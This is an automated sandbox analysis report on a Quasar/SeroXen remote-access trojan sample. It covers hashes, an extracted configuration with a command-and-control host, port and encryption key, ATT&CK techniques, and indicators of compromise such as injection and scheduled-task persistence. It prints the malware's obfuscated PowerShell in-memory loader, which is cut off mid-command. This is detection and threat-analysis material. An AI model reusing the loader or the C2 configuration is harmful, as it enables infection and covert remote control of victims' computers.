quasar | abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

Analysis

max time kernel
120s
max time network
137s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
11/05/2024, 12:25

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General

Target

Uni.exe
Size

409KB
MD5

4c2bb0618a6eda615c8001d5a7ccd6c0
SHA1

c88d2c8bfc5906a5cfef78893d1132edcffd71f0
SHA256

abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
SHA512

6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
SSDEEP

12288:rpg6M1i1v6q1ak/e7xlX7nnvGAwhJLJO:lxqiii6xlLvGjhO

Score

10^/10

quasar seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

tue-jake.gl.at.ply.gg:29058

Mutex

$Sxr-xPAuDxLNyBmZ7S2WLJ

Attributes

encryption_key
Pw78RUs175dFrKD7lMwH
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/memory/4524-1-0x0000000000F20000-0x0000000000F8C000-memory.dmp	family_quasar
behavioral1/files/0x000100000002a9e2-11.dat	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2060 created 628	2060	powershell.EXE	5
PID 2464 created 628	2464	powershell.EXE	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 4 IoCs

pid	Process
916	Client.exe
4756	install.exe
2552	install.exe
3472	MjKnI18yOOAV.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
5	raw.githubusercontent.com
8	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2060 set thread context of 4436	2060	powershell.EXE	96
PID 2464 set thread context of 896	2464	powershell.EXE	97

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5012	schtasks.exe
3888	schtasks.exe
4844	SCHTASKS.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\6f806e69_0	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\6f806e69_0\ = "{2}.\\\\?\\hdaudio#func_01&ven_1af4&dev_0022&subsys_1af40022&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\\elineouttopo/00010001\|\\Device\\HarddiskVolume2\\Users\\Admin\\AppData\\Local\\Temp\\MjKnI18yOOAV.exe%b{00000000-0000-0000-0000-000000000000}"	svchost.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715430406"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={82EAD5DE-CD61-4576-A2D0-391FAFAA58D9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 11 May 2024 12:26:47 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2060	powershell.EXE
2060	powershell.EXE
2464	powershell.EXE
2464	powershell.EXE
2060	powershell.EXE
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
916	Client.exe
2464	powershell.EXE
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
4436	dllhost.exe
2464	powershell.EXE
896	dllhost.exe
896	dllhost.exe
5092	wmiprvse.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
916	Client.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
916	Client.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
916	Client.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3212	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4524	Uni.exe
Token: SeDebugPrivilege	916	Client.exe
Token: SeDebugPrivilege	2060	powershell.EXE
Token: SeDebugPrivilege	2464	powershell.EXE
Token: SeDebugPrivilege	2060	powershell.EXE
Token: SeDebugPrivilege	4436	dllhost.exe
Token: SeDebugPrivilege	2464	powershell.EXE
Token: SeDebugPrivilege	896	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2704	svchost.exe
Token: SeIncreaseQuotaPrivilege	2704	svchost.exe
Token: SeSecurityPrivilege	2704	svchost.exe
Token: SeTakeOwnershipPrivilege	2704	svchost.exe
Token: SeLoadDriverPrivilege	2704	svchost.exe
Token: SeSystemtimePrivilege	2704	svchost.exe
Token: SeBackupPrivilege	2704	svchost.exe
Token: SeRestorePrivilege	2704	svchost.exe
Token: SeShutdownPrivilege	2704	svchost.exe
Token: SeSystemEnvironmentPrivilege	2704	svchost.exe
Token: SeUndockPrivilege	2704	svchost.exe
Token: SeManageVolumePrivilege	2704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2704	svchost.exe
Token: SeIncreaseQuotaPrivilege	2704	svchost.exe
Token: SeSecurityPrivilege	2704	svchost.exe
Token: SeTakeOwnershipPrivilege	2704	svchost.exe
Token: SeLoadDriverPrivilege	2704	svchost.exe
Token: SeSystemtimePrivilege	2704	svchost.exe
Token: SeBackupPrivilege	2704	svchost.exe
Token: SeRestorePrivilege	2704	svchost.exe
Token: SeShutdownPrivilege	2704	svchost.exe
Token: SeSystemEnvironmentPrivilege	2704	svchost.exe
Token: SeUndockPrivilege	2704	svchost.exe
Token: SeManageVolumePrivilege	2704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2704	svchost.exe
Token: SeIncreaseQuotaPrivilege	2704	svchost.exe
Token: SeSecurityPrivilege	2704	svchost.exe
Token: SeTakeOwnershipPrivilege	2704	svchost.exe
Token: SeLoadDriverPrivilege	2704	svchost.exe
Token: SeSystemtimePrivilege	2704	svchost.exe
Token: SeBackupPrivilege	2704	svchost.exe
Token: SeRestorePrivilege	2704	svchost.exe
Token: SeShutdownPrivilege	2704	svchost.exe
Token: SeSystemEnvironmentPrivilege	2704	svchost.exe
Token: SeUndockPrivilege	2704	svchost.exe
Token: SeManageVolumePrivilege	2704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2704	svchost.exe
Token: SeIncreaseQuotaPrivilege	2704	svchost.exe
Token: SeSecurityPrivilege	2704	svchost.exe
Token: SeTakeOwnershipPrivilege	2704	svchost.exe
Token: SeLoadDriverPrivilege	2704	svchost.exe
Token: SeSystemtimePrivilege	2704	svchost.exe
Token: SeBackupPrivilege	2704	svchost.exe
Token: SeRestorePrivilege	2704	svchost.exe
Token: SeShutdownPrivilege	2704	svchost.exe
Token: SeSystemEnvironmentPrivilege	2704	svchost.exe
Token: SeUndockPrivilege	2704	svchost.exe
Token: SeManageVolumePrivilege	2704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2704	svchost.exe
Token: SeIncreaseQuotaPrivilege	2704	svchost.exe
Token: SeSecurityPrivilege	2704	svchost.exe
Token: SeTakeOwnershipPrivilege	2704	svchost.exe
Token: SeLoadDriverPrivilege	2704	svchost.exe
Token: SeSystemtimePrivilege	2704	svchost.exe
Token: SeBackupPrivilege	2704	svchost.exe
Token: SeRestorePrivilege	2704	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
916	Client.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3896	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 3888	4524	Uni.exe	82
PID 4524 wrote to memory of 3888	4524	Uni.exe	82
PID 4524 wrote to memory of 3888	4524	Uni.exe	82
PID 4524 wrote to memory of 916	4524	Uni.exe	84
PID 4524 wrote to memory of 916	4524	Uni.exe	84
PID 4524 wrote to memory of 916	4524	Uni.exe	84
PID 4524 wrote to memory of 4756	4524	Uni.exe	86
PID 4524 wrote to memory of 4756	4524	Uni.exe	86
PID 4524 wrote to memory of 4756	4524	Uni.exe	86
PID 4524 wrote to memory of 4844	4524	Uni.exe	87
PID 4524 wrote to memory of 4844	4524	Uni.exe	87
PID 4524 wrote to memory of 4844	4524	Uni.exe	87
PID 916 wrote to memory of 5012	916	Client.exe	91
PID 916 wrote to memory of 5012	916	Client.exe	91
PID 916 wrote to memory of 5012	916	Client.exe	91
PID 916 wrote to memory of 2552	916	Client.exe	93
PID 916 wrote to memory of 2552	916	Client.exe	93
PID 916 wrote to memory of 2552	916	Client.exe	93
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 2060 wrote to memory of 4436	2060	powershell.EXE	96
PID 4436 wrote to memory of 628	4436	dllhost.exe	5
PID 4436 wrote to memory of 684	4436	dllhost.exe	7
PID 4436 wrote to memory of 992	4436	dllhost.exe	12
PID 4436 wrote to memory of 456	4436	dllhost.exe	13
PID 4436 wrote to memory of 532	4436	dllhost.exe	14
PID 4436 wrote to memory of 852	4436	dllhost.exe	15
PID 4436 wrote to memory of 1064	4436	dllhost.exe	16
PID 4436 wrote to memory of 1072	4436	dllhost.exe	17
PID 4436 wrote to memory of 1168	4436	dllhost.exe	19
PID 4436 wrote to memory of 1208	4436	dllhost.exe	20
PID 4436 wrote to memory of 1236	4436	dllhost.exe	21
PID 4436 wrote to memory of 1296	4436	dllhost.exe	22
PID 4436 wrote to memory of 1400	4436	dllhost.exe	23
PID 4436 wrote to memory of 1452	4436	dllhost.exe	24
PID 4436 wrote to memory of 1464	4436	dllhost.exe	25
PID 4436 wrote to memory of 1596	4436	dllhost.exe	26
PID 4436 wrote to memory of 1608	4436	dllhost.exe	27
PID 4436 wrote to memory of 1660	4436	dllhost.exe	28
PID 4436 wrote to memory of 1728	4436	dllhost.exe	29
PID 4436 wrote to memory of 1756	4436	dllhost.exe	30
PID 4436 wrote to memory of 1828	4436	dllhost.exe	31
PID 4436 wrote to memory of 1864	4436	dllhost.exe	32
PID 4436 wrote to memory of 1924	4436	dllhost.exe	33
PID 4436 wrote to memory of 1936	4436	dllhost.exe	34
PID 4436 wrote to memory of 1232	4436	dllhost.exe	35
PID 4436 wrote to memory of 1796	4436	dllhost.exe	36
PID 4436 wrote to memory of 2108	4436	dllhost.exe	37
PID 4436 wrote to memory of 2232	4436	dllhost.exe	39
PID 4436 wrote to memory of 2336	4436	dllhost.exe	40
PID 4436 wrote to memory of 2520	4436	dllhost.exe	41
PID 4436 wrote to memory of 2528	4436	dllhost.exe	42
PID 4436 wrote to memory of 2568	4436	dllhost.exe	43
PID 4436 wrote to memory of 2660	4436	dllhost.exe	44
PID 4436 wrote to memory of 2688	4436	dllhost.exe	45
PID 4436 wrote to memory of 2696	4436	dllhost.exe	46
PID 4436 wrote to memory of 2704	4436	dllhost.exe	47
PID 4436 wrote to memory of 2732	4436	dllhost.exe	48
PID 4436 wrote to memory of 2816	4436	dllhost.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:532
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{65c2787b-56b4-434e-91f9-abcd0635bc47}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4436
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f5d7ab21-a1a8-4b2b-90ec-727c492c6922}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:896

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zNPfbyPDsNje{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FsyPAaIpCoAmrf,[Parameter(Position=1)][Type]$NSQzzjCKwL)$lmlKekCurhn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+'P'+''+'u'+'bl'+[Char](105)+'c'+[Char](44)+'Sea'+'l'+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+'a'+'s'+'s',[MulticastDelegate]);$lmlKekCurhn.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+'d'+'e'+'B'+''+[Char](121)+''+'S'+'ig'+[Char](44)+''+[Char](80)+'u'+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$FsyPAaIpCoAmrf).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+'i'+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'ge'+[Char](100)+'');$lmlKekCurhn.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+'l',$NSQzzjCKwL,$FsyPAaIpCoAmrf).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $lmlKekCurhn.CreateType();}$bPxFvAPhuXfWL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+''+'m'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+'Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+'ti'+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$wTEvNcQaVZycIu=$bPxFvAPhuXfWL.GetMethod(''+'G'+''+[Char](101)+'tP'+'r'+'o'+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vHVMZuigiCuYAAlzHZn=zNPfbyPDsNje @([String])([IntPtr]);$KdNScjrtnEWBdBxjSAEkgd=zNPfbyPDsNje @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qwmejQCLCWf=$bPxFvAPhuXfWL.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ydEANYygKKPFwf=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$qwmejQCLCWf,[Object](''+'L'+'oa'+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'ryA')));$kfgUAiFPBiNLxKXcy=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$qwmejQCLCWf,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+''+'o'+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$iEtZRbh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydEANYygKKPFwf,$vHVMZuigiCuYAA